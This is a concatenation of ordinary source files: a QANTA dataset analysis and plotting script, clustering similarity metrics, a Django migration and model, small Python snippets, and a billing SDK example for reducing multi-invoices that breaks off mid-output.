params['use_wiki'] if 'use_wiki' in params else str(False), 'random_seed': str(params['random_seed']), 'training_time': params['training_time'], 'char_df': prp['char_df'], 'first_df': prp['first_df'], 'full_df': prp['full_df'] } def compute_curve_score(group): correct_percent = None eager_percent = None for r in group.itertuples(): if r.correct: if correct_percent is None: correct_percent = r.char_percent if eager_percent is None: eager_percent = r.char_percent else: correct_percent = None if correct_percent is None: correct_percent = 0 else: correct_percent = curve_score.get_weight(correct_percent) if eager_percent is None: eager_percent = 0 else: eager_percent = curve_score.get_weight(eager_percent) return correct_percent, eager_percent def merge_devtest(group_reports): folds = {r['fold'] for r in group_reports} if 'guessdev' not in folds or 'guesstest' not in folds: raise ValueError('Missing dev or test') if len(group_reports) != 2: raise ValueError('wrong length reports') test = [r for r in group_reports if r['fold'] == 'guesstest'][0] dev = [r for r in group_reports if r['fold'] == 'guessdev'][0] test['Dev First Sentence'] = dev['First Sentence'] test['Dev Full Question'] = dev['Full Question'] return test def aggregate(group_reports): summary = {} top_model = max(group_reports, key=lambda r: r['Dev First Sentence']) summary['Avg First Sentence'] = np.mean([r['First Sentence'] for r in group_reports]) summary['Std First Sentence'] = np.std([r['First Sentence'] for r in group_reports]) summary['Avg Full Question'] = np.mean([r['Full Question'] for r in group_reports]) summary['Std Full Question'] = np.std([r['Full Question'] for r in group_reports]) summary['First Sentence'] = top_model['First Sentence'] summary['Full Question'] = top_model['Full Question'] summary['Dev First Sentence'] = top_model['Dev First Sentence'] summary['Dev Full Question'] = top_model['Dev Full Question'] summary['first_df'] = top_model['first_df'] summary['full_df'] = top_model['full_df'] summary['char_df'] = top_model['char_df'] summary['fold'] = top_model['fold'] summary['guesser_name'] = top_model['guesser_name'] summary['random_seed'] = top_model['random_seed'] summary['wiki'] = top_model['wiki'] summary['training_time'] = top_model['training_time'] stable_scores = [] eager_scores = [] for _, group in top_model['char_df'].sort_values('score', ascending=False).groupby('qanta_id'): group = group.groupby(['char_index']).first().reset_index() stable, eager = compute_curve_score(group) stable_scores.append(stable) eager_scores.append(eager) summary['curve_score_stable'] = np.mean(stable_scores) summary['curve_score_eager'] = np.mean(eager_scores) return summary def create_spark_context() -> SparkContext: spark_conf = SparkConf()\ .set('spark.rpc.message.maxSize', 300)\ .setAppName("JMLR") return SparkContext.getOrCreate(spark_conf) class theme_fs(theme_light): """ A theme similar to :class:`theme_linedraw` but with light grey lines and axes to direct more attention towards the data. Parameters ---------- base_size : int, optional Base font size. All text sizes are a scaled versions of the base font size. Default is 11. base_family : str, optional Base font family. """ def __init__(self, base_size=11, base_family='DejaVu Sans'): theme_light.__init__(self, base_size, base_family) self.add_theme(theme( axis_ticks=element_line(color='#DDDDDD', size=0.5), panel_border=element_rect(fill='None', color='#838383', size=1), strip_background=element_rect( fill='#DDDDDD', color='#838383', size=1), strip_text_x=element_text(color='black'), strip_text_y=element_text(color='black', angle=-90), legend_key=element_blank() ), inplace=True) def eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs) def format_question(q): q['n_sentences'] = len(q['tokenizations']) if q['subcategory'] == 'None': q['subcategory'] = None q['sentences'] = [q['text'][start:end] for start, end in q['tokenizations']] return q # Each spark worker needs to load its own copy of the NLP model # separately since its not serializable and thus not broadcastable nlp_ref = [] AVG_WORD_LENGTH = 5 MIN_WORDS = 12 MIN_CHAR_LENGTH = AVG_WORD_LENGTH * MIN_WORDS def nlp(text): if len(nlp_ref) == 0: nlp_ref.append(spacy.load('en_core_web_lg')) if len(nlp_ref) == 1: decoded_text = unidecode.unidecode(text) if len(decoded_text) != len(text): eprint('Text must have the same length, falling back to normal text') doc = nlp_ref[0](text) else: doc = nlp_ref[0](decoded_text) tokenizations = [(s.start_char, s.end_char) for s in doc.sents] first_end_pos = None if len(tokenizations) == 0: raise ValueError('Zero length question with respect to sentences not allowed') for start, end in tokenizations: if end < MIN_CHAR_LENGTH: continue else: first_end_pos = end break if first_end_pos is None: first_end_pos = tokenizations[-1][1] final_tokenizations = [(0, first_end_pos)] for start, end in tokenizations: if end <= first_end_pos: continue else: final_tokenizations.append((start, end)) return final_tokenizations else: raise ValueError('There should be exactly one nlp model per spark worker') @click.group(chain=True) def cli(): makedirs(output_path, exist_ok=True) @cli.command() def qanta_2012_stats(): """ This computes and prints dataset statistics for prior versions from EMNLP 2012. Published results use private NAQT data, these stats are computed using only public data. Use nltk for word tokenization to be consistent with prior analysis. Use spacy for sentence tokenization to be consistent with qanta dataset preprocessing. (We don't use word tokenizations in dataset preprocessing, we consider it a model detail.) """ with open('data/external/emnlp_2012_questions.csv') as f: questions_2012 = list(csv.reader(f)) eprint('N EMNLP 2012 Questions', len(questions_2012)) questions_2012 = [q[4] for q in questions_2012] tokenized_2012 = pseq(questions_2012).map(nltk.word_tokenize).list() n_tokens_2012 = sum(len(q) for q in tokenized_2012) eprint('N EMNLP 2012 Tokens', n_tokens_2012) n_sentences = [len(nlp(q)) for q in tqdm(questions_2012)] eprint('N EMNLP 2012 Sentences', sum(n_sentences)) @cli.command() def qanta_2014_stats(): """ This computes and prints dataset statistics for prior versions from EMNLP 2014. Published results use private NAQT data, these stats are computed using only public data. Use nltk for word tokenization to be consistent with prior analysis. Use spacy for sentence tokenization to be consistent with qanta dataset preprocessing. (We don't use word tokenizations in dataset preprocessing, we consider it a model detail.) """ questions_2014 = pseq.jsonl('data/external/emnlp_2014_questions.jsonl').cache() eprint('N EMNLP 2014 Questions', questions_2014.len()) n_tokens_2014 = questions_2014.map(lambda q: q['question']).map(nltk.word_tokenize).map(len).sum() eprint('N EMNLP 2014 Tokens', n_tokens_2014) n_sentences = [len(nlp(q['question'])) for q in tqdm(questions_2014.list())] eprint('N EMNLP 2014 Sentences', sum(n_sentences)) @cli.command() def yoy_growth(): """ This creates figures showing the number of questions versus year in dataset """ with open('data/external/datasets/qanta.mapped.2018.04.18.json') as f: year_pages = defaultdict(set) year_questions = Counter() for q in json.load(f)['questions']: if q['page'] is not None: year_pages[q['year']].add(q['page']) year_questions[q['year']] += 1 start_year = min(year_pages) # 2017 is the earlier year we have a full year's worth of data, including partial 2018 isn't accurate end_year = min(2017, max(year_pages)) upto_year_pages = defaultdict(set) upto_year_questions = Counter() for upto_y in range(start_year, end_year + 1): for curr_y in range(start_year, upto_y + 1): upto_year_questions[upto_y] += year_questions[curr_y] for page in year_pages[curr_y]: upto_year_pages[upto_y].add(page) year_page_counts = {} for y, pages in upto_year_pages.items(): year_page_counts[y] = len(pages) year_page_counts year_rows = [] for y, page_count in year_page_counts.items(): year_rows.append({'year': y, 'value': page_count, 'Quantity': 'Distinct Answers'}) year_rows.append({'year': y, 'Quantity': 'Total Questions', 'value': upto_year_questions[y]}) year_df = pd.DataFrame(year_rows) count_cat = CategoricalDtype(categories=['Total Questions', 'Distinct Answers'], ordered=True) year_df['Quantity'] = year_df['Quantity'].astype(count_cat) eprint(year_df[year_df.Quantity == 'Total Questions']) p = ( ggplot(year_df) + aes(x='year', y='value', color='Quantity') + geom_line() + geom_point() + xlab('Year') + ylab('Count up to Year (inclusive)') + theme_fs() + scale_x_continuous(breaks=list(range(start_year, end_year + 1, 2))) ) p.save(path.join(output_path, 'question_answer_counts.pdf')) @cli.command() def syntactic_diversity_plots(): with open('data/external/syntactic_diversity_table.json') as f: rows = json.load(f) parse_df = pd.DataFrame(rows) parse_df['parse_ratio'] = parse_df['unique_parses'] / parse_df['parses'] melt_df = pd.melt( parse_df, id_vars=['dataset', 'depth', 'overlap', 'parses'], value_vars=['parse_ratio', 'unique_parses'], var_name='metric', value_name='y' ) def label_facet(name): if name == 'parse_ratio': return 'Average Unique Parses per Instance' elif name == 'unique_parses': return 'Count of Unique Parses' def label_y(ys): formatted_ys = [] for y in ys: y = str(y) if y.endswith('000.0'): formatted_ys.append(y[:-5] + 'K') else: formatted_ys.append(y) return formatted_ys p = ( ggplot(melt_df) + aes(x='depth', y='y', color='dataset') + facet_wrap('metric', scales='free_y', nrow=2, labeller=label_facet) + geom_line() + geom_point() + xlab('Parse Truncation Depth') + ylab('') + scale_color_discrete(name='Dataset') + scale_y_continuous(labels=label_y) + scale_x_continuous( breaks=list(range(1, 11)), minor_breaks=list(range(1, 11)), limits=[1, 10]) + theme_fs() ) p.save(path.join(output_path, 'syn_div_plot.pdf')) p = ( ggplot(parse_df) + aes(x='depth', y='unique_parses', color='dataset') + geom_line() + geom_point() + xlab('Parse Truncation Depth') + ylab('Count of Unique Parses') + scale_color_discrete(name='Dataset') + scale_x_continuous( breaks=list(range(1, 11)), minor_breaks=list(range(1, 11)), limits=[1, 10]) + theme_fs() ) p.save(path.join(output_path, 'n_unique_parses.pdf')) p = ( ggplot(parse_df) + aes(x='depth', y='parse_ratio', color='dataset') + geom_line() + geom_point() + xlab('Parse Truncation Depth') + ylab('Average Unique Parses per Instance') + scale_color_discrete(name='Dataset') + scale_x_continuous(breaks=list(range(1, 11)), minor_breaks=list(range(1, 11)), limits=[1, 10]) + scale_y_continuous(limits=[0, 1]) + theme_fs() ) p.save(path.join(output_path, 'parse_ratio.pdf')) @cli.command() def error_comparison(): char_frames = {} first_frames = {} full_frames = {} train_times = {} use_wiki = {} best_accuracies = {} for p in glob.glob(f'output/guesser/best/qanta.guesser*/guesser_report_guesstest.pickle', recursive=True): with open(p, 'rb') as f: report = pickle.load(f) name = report['guesser_name'] params = report['guesser_params'] train_times[name] = params['training_time'] use_wiki[name] = params['use_wiki'] if 'use_wiki' in params else False char_frames[name] = report['char_df'] first_frames[name] = report['first_df'] full_frames[name] = report['full_df'] best_accuracies[name] = (report['first_accuracy'], report['full_accuracy']) first_df = pd.concat([f for f in first_frames.values()]).sort_values('score', ascending=False).groupby(['guesser', 'qanta_id']).first().reset_index() first_df['position'] = ' Start' full_df = pd.concat([f for f in full_frames.values()]).sort_values('score', ascending=False).groupby(['guesser', 'qanta_id']).first().reset_index() full_df['position'] = 'End' compare_df = pd.concat([first_df, full_df]) compare_df = compare_df[compare_df.guesser != 'qanta.guesser.vw.VWGuesser'] compare_results = {} comparisons = ['qanta.guesser.dan.DanGuesser', 'qanta.guesser.rnn.RnnGuesser', 'qanta.guesser.elasticsearch.ElasticSearchGuesser'] cr_rows = [] for (qnum, position), group in compare_df.groupby(['qanta_id', 'position']): group = group.set_index('guesser') correct_guessers = [] wrong_guessers = [] for name in comparisons: if group.loc[name].correct == 1: correct_guessers.append(name) else: wrong_guessers.append(name) if len(correct_guessers) > 3: raise ValueError('this should be unreachable') elif len(correct_guessers) == 3: cr_rows.append({'qnum': qnum, 'Position': position, 'model': 'All', 'Result': 'Correct'}) elif len(correct_guessers) == 0: cr_rows.append({'qnum': qnum, 'Position': position, 'model': 'All', 'Result': 'Wrong'}) elif len(correct_guessers) == 1: cr_rows.append({ 'qnum': qnum, 'Position': position, 'model': to_shortname(correct_guessers[0]), 'Result': 'Correct' }) else: cr_rows.append({ 'qnum': qnum, 'Position': position, 'model': to_shortname(wrong_guessers[0]), 'Result': 'Wrong' }) cr_df = pd.DataFrame(cr_rows) # samples = cr_df[(cr_df.Position == ' Start') & (cr_df.Result == 'Correct') & (cr_df.model == 'RNN')].qnum.values # for qid in samples: # q = lookup[qid] # print(q['first_sentence']) # print(q['page']) # print() p = ( ggplot(cr_df) + aes(x='model', fill='Result') + facet_grid(['Result', 'Position']) #+ facet_wrap('Position', labeller='label_both') + geom_bar(aes(y='(..count..) / sum(..count..)'), position='dodge') + labs(x='Models', y='Fraction with Corresponding Result') + coord_flip() + theme_fs() + theme(aspect_ratio=.6) ) p.save('output/plots/guesser_error_comparison.pdf') @cli.command() def download(): raise NotImplementedError() if __name__ == '__main__': cli()
[ "ski.rodriguez@gmail.com" ]
ski.rodriguez@gmail.com
0ff810f87dec6968c150deffc5bd0008632d5a6e
acb8e84e3b9c987fcab341f799f41d5a5ec4d587
/langs/2/fl-.py
ef7dfc762f6c821ddb71ce610308db6a2eab3b1e
[]
no_license
G4te-Keep3r/HowdyHackers
46bfad63eafe5ac515da363e1c75fa6f4b9bca32
fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2
refs/heads/master
2020-08-01T12:08:10.782018
2016-11-13T20:45:50
2016-11-13T20:45:50
73,624,224
0
1
null
null
null
null
UTF-8
Python
false
false
486
py
import sys def printFunction(lineRemaining): if lineRemaining[0] == '"' and lineRemaining[-1] == '"': if len(lineRemaining) > 2: #data to print lineRemaining = lineRemaining[1:-1] print ' '.join(lineRemaining) else: print def main(fileName): with open(fileName) as f: for line in f: data = line.split() if data[0] == 'fL-': printFunction(data[1:]) else: print 'ERROR' return if __name__ == '__main__': main(sys.argv[1])
[ "juliettaylorswift@gmail.com" ]
juliettaylorswift@gmail.com
4ad29ac4ba3daa690a2a466dcbd27d3b75c19d7e
6af16ba7bc508e8f57cd6188b894066a12636a44
/learn Python/global.py
804ba13c2cf17589b9a89e0e935700223c9aacce
[]
no_license
manhcuogntin4/Python-code
286a349a6a43481002fb38a208be60e0c5330987
ea155eb4f4c1d5181cd3f47ff983a85d13336d0b
refs/heads/master
2021-01-12T07:18:19.018881
2018-03-20T17:14:41
2018-03-20T17:14:41
76,940,621
0
0
null
null
null
null
UTF-8
Python
false
false
65
py
x=5 def setx(y): global x x=y print "x=", x setx(10) print x
[ "manhcuongeic@gmail.com" ]
manhcuongeic@gmail.com
04e8f3ab6547419999cee7969b5d8df80d311730
81f9ba9d4ddf45d865f5bc23d4c61de13476d64d
/irm/rand.py
dfea41fae06b988f881d8d9ad08ced07c7941c61
[]
no_license
ericmjonas/netmotifs
cad6e2baf12cb218e15e02e5e362ef0b609978c3
94e1df8895b6a4f2e45ab0e918b1eb3ed16fca99
refs/heads/master
2020-12-25T16:49:28.618393
2016-08-11T00:50:30
2016-08-11T00:50:30
10,423,525
5
1
null
null
null
null
UTF-8
Python
false
false
5,774
py
import numpy as np import scipy import scipy.misc from nose.tools import * #import pyximport; pyximport.install() #import fastrand def canonicalize_assignment_vector(x): """ Take in an assignment vector and redo the assignments such that the assignment values are monotonic from 0 to GRPMAX """ u = np.unique(x) lut = {} for ui, u in enumerate(u): lut[u] = ui res_vector = np.zeros_like(x) for xi, xv in enumerate(x): res_vector[xi] = lut[xv] return res_vector def assignment_vector_to_list_of_sets(x): """ """ u = np.unique(x) lut = {} for ui, u in enumerate(x): if u not in lut: lut[u] = set() lut[u].add(ui) # turn into list return lut.values() def compute_adj_rand_index(ground_truth_partition, found_partition): ''' Computes the adjusted rand index of the groups in the found partition as compared to the ground truth partition. Both partitions should be a canonical mapping such that partition[i] = group containing item i (None if in no group) ''' assert len(ground_truth_partition) == len(found_partition) # replace any Nones with the next available group id no_assignment_id = max(ground_truth_partition + found_partition) + 1 for part in [ground_truth_partition, found_partition]: for i in range(len(part)): if part[i] == None: part[i] = no_assignment_id assert all([x != None for x in found_partition]) assert all([x != None for x in ground_truth_partition]) num_ground_truth_groups = len(set(ground_truth_partition)) num_found_groups = len(set(found_partition)) # These two edge cases cause a divide-by-zero error if the ground truth # and found partitions are identical. Don't bother to calculate. if (((num_found_groups == 1) and (num_ground_truth_groups == 1)) or ((num_found_groups == len(ground_truth_partition)) and num_ground_truth_groups == len(ground_truth_partition))): return 1.0 contingency_table = np.zeros((num_found_groups, num_ground_truth_groups)) for item, gt_group in enumerate(ground_truth_partition): found_group = found_partition[item] contingency_table[found_group, gt_group] += 1 # For more details on this algorithm (since this code is not the most # readable or best named ever), see # http://faculty.washington.edu/kayee/pca/supp.pdf # or http://en.wikipedia.org/wiki/Adjusted_rand_index all_entries = np.sum(scipy.misc.comb(contingency_table, 2)) rows_collapsed = np.sum(scipy.misc.comb(np.sum(contingency_table, 0), 2)) cols_collapsed = np.sum(scipy.misc.comb(np.sum(contingency_table, 1), 2)) num_items = scipy.misc.comb(len(ground_truth_partition), 2) ari = ( (all_entries - (rows_collapsed * cols_collapsed / num_items)) / ( ((rows_collapsed + cols_collapsed) / 2) - ((rows_collapsed * cols_collapsed) / num_items))) assert not np.isnan(ari) return ari def test_ari(): assert_almost_equal(compute_adj_rand_index([0, 0, 0, 1, 1, 1,2,2,2], [1, 1, 1, 2, 2, 2, 0, 0, 0]), 1.0, 2) def twocomb(x): """ compute binom(x, 2) """ return x*(x-1) / 2. def compute_adj_rand_index_fast(list_of_sets_U, list_of_sets_V): a_i = np.array([len(x) for x in list_of_sets_U]) b_i = np.array([len(x) for x in list_of_sets_V]) ctable = np.zeros((len(list_of_sets_U), len(list_of_sets_V)), dtype=np.uint32) for ui, u in enumerate(list_of_sets_U): for vi, v in enumerate(list_of_sets_V): ctable[ui, vi] = len(u & v) all_entries = np.sum(twocomb(np.array(ctable.flat))) aisum = np.sum(twocomb(a_i)) bjsum = np.sum(twocomb(b_i)) sc =twocomb(np.sum(a_i)) num = float(all_entries) - (aisum * bjsum / sc) den = 0.5 * (aisum + bjsum) - (aisum * bjsum / sc) return num/den def create_data(groups, rows_per_group): data = range(groups) * rows_per_group dataa = np.array(data, dtype=np.uint32) return np.random.permutation(dataa) def test_rands(): for groups in [10, 100, 500]: for rows_per_group in [10, 50, 100]: d1 = create_data(groups, rows_per_group) d2 = create_data(groups, rows_per_group) s1 = assignment_vector_to_list_of_sets(d1) s2 = assignment_vector_to_list_of_sets(d2) r1 = compute_adj_rand_index_fast(s1, s2) r2 = fastrand.compute_adj_rand(d1, d2) assert_almost_equal(r1, r2, 2) def compute_similarity_stats(c1, c2): """ Compute the similarity statistics for two clusterings """ assert len(c1) == len(c2) N = len(c1) n_00 = 0 n_01 = 0 n_10 = 0 n_11 = 0 for i1 in range(N): for i2 in range(N): if i1 == i2: continue a1_c1 = c1[i1] a2_c1 = c1[i2] a1_c2 = c2[i1] a2_c2 = c2[i2] if a1_c1 == a2_c1 and a1_c2 == a2_c2: n_11 +=1 elif a1_c1 != a2_c1 and a1_c2 != a2_c2: n_00 += 1 elif a1_c1 == a2_c1 and a1_c2 != a2_c2: n_10 += 1 elif a1_c1 != a2_c1 and a1_c2 == a2_c2: n_01 += 1 return {'n00' : n_00/2, 'n01' : n_01/2, 'n10' : n_10/2, 'n11' : n_11/2} def compute_jaccard(c1, c2): ss = compute_similarity_stats(c1, c2) return float(ss['n11']) / (ss['n11'] + ss['n01'] + ss['n10'])
[ "jonas@ericjonas.com" ]
jonas@ericjonas.com
eb2b67ce66e8f42dc91b6c2311b8a6cb5304eac0
e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f
/indices/nnn1833.py
0f29777cb79fd770bc3d16b40cf2f92fed7f53a7
[]
no_license
psdh/WhatsintheVector
e8aabacc054a88b4cb25303548980af9a10c12a8
a24168d068d9c69dc7a0fd13f606c080ae82e2a6
refs/heads/master
2021-01-25T10:34:22.651619
2015-09-23T11:54:06
2015-09-23T11:54:06
42,749,205
2
3
null
2015-09-23T11:54:07
2015-09-18T22:06:38
Python
UTF-8
Python
false
false
1,007
py
ii = [('RogePAV2.py', 5), ('RogePAV.py', 2), ('WilbRLW.py', 2), ('AubePRP2.py', 19), ('ShawHDE.py', 1), ('MartHSI2.py', 4), ('UnitAI.py', 1), ('KembFJ1.py', 1), ('WilbRLW5.py', 30), ('PettTHE.py', 3), ('MarrFDI3.py', 2), ('PeckJNG.py', 16), ('AubePRP.py', 5), ('AdamWEP.py', 1), ('FitzRNS3.py', 22), ('WilbRLW2.py', 1), ('CarlTFR.py', 1), ('SeniNSP.py', 16), ('RoscTTI3.py', 2), ('KiddJAE.py', 1), ('CrokTPS.py', 3), ('BuckWGM.py', 18), ('DaltJMA.py', 1), ('WestJIT2.py', 61), ('DibdTRL2.py', 12), ('WadeJEB.py', 1), ('KirbWPW2.py', 1), ('BachARE.py', 61), ('WheeJPT.py', 26), ('MereHHB3.py', 3), ('MereHHB.py', 2), ('WilkJMC.py', 1), ('MartHRW.py', 2), ('WestJIT.py', 18), ('BabbCEM.py', 1), ('FitzRNS4.py', 138), ('ThomGLG.py', 3), ('StorJCC.py', 4), ('KembFJ2.py', 1), ('HaliTBC.py', 9), ('WilbRLW3.py', 1), ('AinsWRR2.py', 1), ('MartHRW2.py', 4), ('DibdTRL.py', 14), ('FitzRNS2.py', 49), ('HogaGMM2.py', 5), ('MartHSI.py', 2), ('DwigTHH.py', 1), ('LyelCPG3.py', 1), ('WordWYR.py', 9), ('ChalTPW.py', 1)]
[ "varunwachaspati@gmail.com" ]
varunwachaspati@gmail.com
1622c61f3561205e500f996c1495c710ed2f07a5
2c19ad0d69a20b2ef82312cdba65fc538c85efe7
/User/migrations/0006_auto_20190508_1602.py
4bade3d38cca0e363c3355dd7401f748ed5a9505
[]
no_license
wzc-ob/EvaluationOfTeaching
b55d1011ca0f36d3af5e32efae85fa251e90fd79
783cbd35708db2121566cb27826db3c6654f0871
refs/heads/master
2020-06-06T22:40:25.494991
2019-06-20T07:06:11
2019-06-20T07:06:11
192,867,926
2
0
null
null
null
null
UTF-8
Python
false
false
1,090
py
# Generated by Django 2.1.5 on 2019-05-08 08:02 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('User', '0005_auto_20190508_1514'), ] operations = [ migrations.AddField( model_name='teacher', name='birthday', field=models.DateField(default='1969-02-02'), ), migrations.AddField( model_name='teacher', name='img', field=models.ImageField(blank=True, default='nopic.jpg', upload_to='files'), ), migrations.AddField( model_name='teacher', name='name', field=models.CharField(default='王老师', max_length=12), ), migrations.AddField( model_name='teacher', name='sex', field=models.CharField(default='男', max_length=3), ), migrations.AddField( model_name='teacher', name='telephone', field=models.CharField(default='18772815717', max_length=11), ), ]
[ "43775612+wzc-ob@users.noreply.github.com" ]
43775612+wzc-ob@users.noreply.github.com
04b2d5f6e25fe54559d1a0d6cc931d0a0e294d04
97504159dcdacaef31a81abc2ee326ed95fa8ee3
/models/order_discount_model.py
5f50a8797644f858a03f2ab10984300ff90f50d9
[]
no_license
argeweb/plugin-order
4200857afe3a45e7d96dd4f5b13c9fe7ecc992b4
b95882c90e9fe8128834c63ca2ae1ea3b4b14ebe
refs/heads/master
2020-02-26T15:06:46.883725
2018-03-30T01:28:05
2018-03-30T01:28:05
83,565,232
0
0
null
null
null
null
UTF-8
Python
false
false
697
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Created with YooLiang Technology (侑良科技). # Author: Qi-Liang Wen (温啓良) # Web: http://www.yooliang.com/ # Date: 2017/3/1. import time from argeweb import BasicModel from argeweb import Fields from order_model import OrderModel class OrderDiscountModel(BasicModel): order = Fields.KeyProperty(verbose_name=u'訂單', kind=OrderModel) title = Fields.StringProperty(verbose_name=u'折扣說明', default=u'') amount = Fields.FloatProperty(verbose_name=u'折扣金額', default=0.0) @classmethod def all_with_order(cls, order=None, *args, **kwargs): return cls.query(cls.order==order.key).order(-cls.sort)
[ "cwen0708@gmail.com" ]
cwen0708@gmail.com
558af5137bbc0569be107f096af955f578d3e9f1
6126d5714aa8482f12c1959355e5514f60e24e6c
/examples/reduce_multi_invoice_and_cash_out.py
4e7034d75d82abc77a4c4555474c5dcfca94bd79
[]
no_license
FanapSoft/pod-billing-python-sdk
1b6cc7c33b0147b8ae5aac7c31ca665abccdcb4e
322010f8e8c36335b49363249ccf1fcaf7eafceb
refs/heads/master
2020-12-09T17:07:08.351328
2020-03-09T12:55:08
2020-03-09T12:55:08
233,366,781
0
0
null
null
null
null
UTF-8
Python
false
false
17,813
py
# coding=utf-8 from __future__ import unicode_literals from pod_base import APIException, PodException, InvalidDataException from examples.config import * from pod_billing import PodBilling from random import randint try: pod_billing = PodBilling(api_token=API_TOKEN, server_type=SERVER_MODE) preferred_tax_rate = 0.10 bill_number = "Py_reduce_{}".format(randint(1, 100000000)) customer_invoice = [ { "productId": 0, "price": 500, "quantity": 2, "description": "محصول اول - مشتری" } , { "productId": 0, "price": 300, "quantity": 1, "description": "محصول دوم - مشتری" } ] main_invoice = { "invoiceItemVOs": [{ "productId": 0, "price": 350, "quantity": 2, "description": "محصول اول - کسب و کار مالک فاکتور" }, { "productId": 0, "price": 100, "quantity": 1, "description": "محصول دوم - کسب و کار مالک فاکتور" } ], "guildCode": GUILD_CODE } sub_invoices = [ { "businessId": DEALER_BUSINESS_IDs[0], "guildCode": GUILD_CODE, "invoiceItemVOs": [ { "productId": 0, "price": 50, "quantity": 2, "description": "پورسانت - کسب و کار {} ذینفع اول فاکتور".format(DEALER_BUSINESS_IDs[0]) } ] }, { "businessId": DEALER_BUSINESS_IDs[0], "guildCode": GUILD_CODE, "invoiceItemVOs": [ { "productId": 0, "price": 30, "quantity": 2, "description": "کارمزد بازاریابی - کسب و کار {} ذینفع اول فاکتور".format(DEALER_BUSINESS_IDs[0]) } ] }, { "businessId": DEALER_BUSINESS_IDs[1], "guildCode": GUILD_CODE, "invoiceItemVOs": [ { "productId": 0, "price": 70, "quantity": 2, "description": "سهم از محصول اول - کسب و کار {} ذینفع دوم فاکتور".format(DEALER_BUSINESS_IDs[1]) } , { "productId": 0, "price": 200, "quantity": 1, "description": "سهم از محصول دوم - کسب و کار {} ذینفع دوم فاکتور".format(DEALER_BUSINESS_IDs[1]) } ] } ] other_params = { "customerDescription": "این توضیحات در فاکتور مشتری نمایش داده می شود", # Optional "preferredTaxRate": preferred_tax_rate # Optional } invoice = pod_billing.issue_multi_invoice(main_invoice=main_invoice, customer_invoice=customer_invoice, sub_invoices=sub_invoices, **other_params) main_invoice_updated = { "id": invoice["id"], "reduceInvoiceItemVOs": [{ "id": invoice["invoiceItemSrvs"][0]["id"], "price": 350, "quantity": 1, "description": "محصول اول - کسب و کار مالک فاکتور - کاهش تعداد از 2 به 1" }, { "id": invoice["invoiceItemSrvs"][1]["id"], "price": 100, "quantity": 1, "description": "محصول دوم - کسب و کار مالک فاکتور" }] } customer_invoice_updated = [ { "id": invoice["customerInvoice"]["invoiceItemSrvs"][0]["id"], "price": 500, "quantity": 1, "description": "محصول اول - مشتری - کاهش تعداد از 2 به 1" } , { "id": invoice["customerInvoice"]["invoiceItemSrvs"][1]["id"], "price": 250, "quantity": 1, "description": "محصول دوم - مشتری - کاهش قیمت از 300 به 250" }] sub_invoices_updated = [ { "id": invoice["subInvoices"][0]["id"], "reduceInvoiceItemVOs": [ { "id": invoice["subInvoices"][0]["invoiceItemSrvs"][0]["id"], "price": 50, "quantity": 1, "description": "پورسانت - کسب و کار {} ذینفع اول فاکتور - کاهش تعداد از 2 به 1".format( DEALER_BUSINESS_IDs[0]) } ] }, { "id": invoice["subInvoices"][1]["id"], "reduceInvoiceItemVOs": [ { "id": invoice["subInvoices"][1]["invoiceItemSrvs"][0]["id"], "price": 30, "quantity": 1, "description": "کارمزد بازاریابی - کسب و کار {} ذینفع اول فاکتور - کاهش تعداد از 2 به 1".format( DEALER_BUSINESS_IDs[0]) } ] }, { "id": invoice["subInvoices"][2]["id"], "reduceInvoiceItemVOs": [ { "id": invoice["subInvoices"][2]["invoiceItemSrvs"][0]["id"], "price": 70, "quantity": 1, "description": "سهم از محصول اول - کسب و کار {} ذینفع دوم فاکتور - کاهش تعداد از 2 به 1".format( DEALER_BUSINESS_IDs[1]) }, { "id": invoice["subInvoices"][2]["invoiceItemSrvs"][1]["id"], "price": 150, "quantity": 1, "description": "سهم از محصول دوم - کسب و کار {} ذینفع دوم فاکتور".format(DEALER_BUSINESS_IDs[1]) } ] } ] result = pod_billing.reduce_multi_invoice_and_cash_out(preferred_tax_rate=preferred_tax_rate, main_invoice=main_invoice_updated, customer_invoice=customer_invoice_updated, sub_invoices=sub_invoices_updated, toolCode="SETTLEMENT_TOOL_SATNA") print(result) # OUTPUT # { # "id": 62419, # "totalAmountWithoutDiscount": 450, # "delegationAmount": 0, # "totalAmount": 450, # "payableAmount": 491, # "vat": 41, # "issuanceDate": 1579947664808, # "deliveryDate": 0, # "paymentBillNumber": "1049721", # "uniqueNumber": "e251c6ceae447852", # "paymentDate": 0, # "payed": false, # "serial": 0, # "canceled": false, # "cancelDate": 0, # "business": { # "id": 7867, # "name": "شرکت رضا", # "numOfProducts": 395, # "rate": { # "rate": 8, # "rateCount": 1 # }, # "sheba": "640170000000000000000007" # }, # "invoiceItemSrvs": [ # { # "id": 67562, # "amount": 350, # "description": "محصول اول - کسب و کار مالک فاکتور - کاهش تعداد از 2 به 1", # "quantity": 1, # "discount": 0, # "voucherUsageSrvs": [] # }, # { # "id": 67563, # "amount": 100, # "description": "محصول دوم - کسب و کار مالک فاکتور", # "quantity": 1, # "discount": 0, # "voucherUsageSrvs": [] # } # ], # "guildSrv": { # "id": 561, # "name": "سرویس دهندگان", # "code": "API_GUILD" # }, # "closed": false, # "verificationNeeded": false, # "editedInvoiceId": 62414, # "customerInvoice": { # "id": 62418, # "totalAmountWithoutDiscount": 750, # "delegationAmount": 0, # "totalAmount": 750, # "payableAmount": 818, # "vat": 68, # "issuanceDate": 1579947664798, # "deliveryDate": 0, # "paymentBillNumber": "1049721", # "uniqueNumber": "bae7e742cd529637", # "description": "این توضیحات در فاکتور مشتری نمایش داده می شود", # "paymentDate": 0, # "payed": false, # "serial": 0, # "canceled": false, # "cancelDate": 0, # "business": { # "id": 7867, # "name": "شرکت رضا", # "numOfProducts": 395, # "rate": { # "rate": 8, # "rateCount": 1 # }, # "sheba": "640170000000000000000007" # }, # "invoiceItemSrvs": [ # { # "id": 67560, # "amount": 500, # "description": "محصول اول - مشتری - کاهش تعداد از 2 به 1", # "quantity": 1, # "discount": 0, # "voucherUsageSrvs": [] # }, # { # "id": 67561, # "amount": 250, # "description": "محصول دوم - مشتری - کاهش قیمت از 300 به 250", # "quantity": 1, # "discount": 0, # "voucherUsageSrvs": [] # } # ], # "guildSrv": { # "id": 561, # "name": "سرویس دهندگان", # "code": "API_GUILD" # }, # "closed": false, # "verificationNeeded": false, # "safe": false, # "postVoucherEnabled": false, # "referenceNumber": "72426946", # "issuerSrv": { # "id": 16128, # 